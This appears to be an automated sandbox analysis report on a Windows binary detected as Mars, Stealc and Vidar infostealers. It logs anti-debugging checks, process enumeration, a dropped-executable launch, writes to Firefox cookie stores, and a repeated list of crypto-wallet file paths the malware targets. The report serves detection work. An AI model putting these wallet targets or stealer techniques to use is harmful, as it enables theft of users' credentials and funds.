Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	API call chain: ExitProcess graph end node	graph_0-68624
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

Code function: 0_2_00417B4E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00417B4E

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

0_2_00416240

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_00415DC0 mov eax, dword ptr fs:[00000030h]		0_2_00415DC0
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_000CE8F6 mov eax, dword ptr fs:[00000030h]		9_2_000CE8F6

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

Code function: 0_2_00404C70 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_00404C70

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_00419DC7 SetUnhandledExceptionFilter,	0_2_00419DC7
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_00417B4E IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00417B4E
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_004173DD memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004173DD
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD1B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CD1B66C
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CD1B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CD1B1F7
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: 0_2_6CECAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CECAC62
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_000CCC07 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_000CCC07
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_000C7C28 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_000C7C28
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_000C8609 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_2_000C8609
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: 9_2_000C8757 SetUnhandledExceptionFilter,	9_2_000C8757

HIPS / PFW / Operating System Protection Evasion

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

Code function: 0_2_00415D00 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00415D00

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe"			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe "C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe"			Jump to behavior

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

Code function: 0_2_6CD1B341 cpuid

0_2_6CD1B341

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	0_2_00414570
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: GetLocaleInfoW,	9_2_000D7A1C
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: GetLocaleInfoW,	9_2_000D1A67
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	9_2_000D7B45
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	9_2_000D73E1
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: GetLocaleInfoW,	9_2_000D7C4C
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	9_2_000D7D19
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: EnumSystemLocalesW,	9_2_000D7659
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: EnumSystemLocalesW,	9_2_000D76A4
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: EnumSystemLocalesW,	9_2_000D16C2
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: EnumSystemLocalesW,	9_2_000D773F
Source: C:\Users\user\AppData\Local\Temp\FBKJDGCGDA.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	9_2_000D77CC

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

Code function: 0_2_00414450 GetProcessHeap,HeapAlloc,GetLocalTime,wsprintfA,

0_2_00414450

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

Code function: 0_2_004143C0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004143C0

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe

Code function: 0_2_004144B0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_004144B0

Lowering of HIPS / PFW / Operating System Security Settings

Overwrites Mozilla Firefox settings

Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm			Jump to behavior
Source: C:\Users\user\Desktop\w3WOJ1ohgD.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm			Jump to behavior

Source: Amcache.hve.11.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.11.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.11.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.11.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Mars stealer

Source: Yara match	File source: 0.2.w3WOJ1ohgD.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.w3WOJ1ohgD.exe.24c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.w3WOJ1ohgD.exe.24c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w3WOJ1ohgD.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w3WOJ1ohgD.exe.9f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w3WOJ1ohgD.exe.9f0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1663513978.00000000024C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2070369316.00000000009F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2070492271.0000000000A54000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: w3WOJ1ohgD.exe PID: 7428, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.w3WOJ1ohgD.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w3WOJ1ohgD.exe.9f0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w3WOJ1ohgD.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.w3WOJ1ohgD.exe.24c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.w3WOJ1ohgD.exe.24c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.w3WOJ1ohgD.exe.9f0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1663513978.00000000024C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2070369316.00000000009F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: w3WOJ1ohgD.exe PID: 7428, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: w3WOJ1ohgD.exe, 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
